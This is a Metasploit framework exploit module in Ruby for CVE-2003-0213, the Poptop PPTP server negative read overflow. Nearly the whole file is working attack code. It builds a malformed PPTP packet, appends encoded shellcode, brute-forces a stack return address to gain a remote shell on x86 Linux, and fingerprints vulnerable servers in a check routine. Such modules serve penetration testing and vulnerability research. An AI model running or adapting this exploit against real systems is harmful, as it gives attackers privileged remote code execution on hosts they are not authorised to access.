##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Poptop Negative Read Overflow',
      'Description'    => %q{
          This is an exploit for the Poptop negative read overflow.  This will
        work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
        currently do not have a good way to detect Poptop versions.

        The server will by default only allow 4 concurrent manager processes
        (what we run our code in), so you could have a max of 4 shells at once.

        Using the current method of exploitation, our socket will be closed
        before we have the ability to run code, preventing the use of Findsock.
      },
      'Author'         => 'spoonm',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2003-0213'],
          ['OSVDB', '3293'],
          ['URL',   'http://securityfocus.com/archive/1/317995'],
          ['URL',   'http://www.freewebs.com/blightninjas/'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          # Payload space is dynamically determined
          'MinNops'         => 16,
          'StackAdjustment' => -1088,
          'Compat'          =>
            {
              'ConnectionType' => '-find',
            }
        },
      'SaveRegisters'  => [ 'esp' ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          ['Linux Bruteforce',
            { 'Bruteforce' =>
              {
                'Start'  => { 'Ret' => 0xbffffa00 },
                'Stop'   => { 'Ret' => 0xbffff000 },
                'Step'   => 0
              }
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 9 2003'))

    register_options(
      [
        Opt::RPORT(1723)
      ])

    register_advanced_options(
      [
        OptInt.new("PreReturnLength", [ true, "Space before we hit the return address.  Affects PayloadSpace.", 220 ]),
        OptInt.new("RetLength",       [ true, "Length of returns after payload.", 32 ]),
        OptInt.new("ExtraSpace",      [ true, "The exploit builds two protocol frames, the header frame and the control frame. " +
          "ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). " +
          "If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " +
          "(these should eventually be filled in to look like a real client, ie windows).  I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
        OptString.new("Hostname",     [ false, "PPTP Packet hostname", '' ]),
        OptString.new("Vendor",       [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
      ])
  end

  # Dynamic payload space calculation
  def payload_space(explicit_target = nil)
    datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
  end

  def build_packet(length)
    [length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
      [1,0].pack('cc') +
      [0].pack('n') +
      [1,1,0,2600].pack('NNnn') +
      datastore['Hostname'].ljust(64, "\x00") +
      datastore['Vendor'].ljust(64, "\x00")
  end

  def check
    connect
    sock.put(build_packet(156))
    res = sock.get_once

    if res and res =~ /MoretonBay/
      return CheckCode::Detected
    end

    return CheckCode::Safe
  end

  def brute_exploit(addrs)
    connect

    print_status("Trying #{"%.8x" % addrs['Ret']}...")

    # Construct the evil length packet
    packet =
      build_packet(1) +
      payload.encoded +
      ([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))

    sock.put(packet)

    handler
    disconnect
  end
end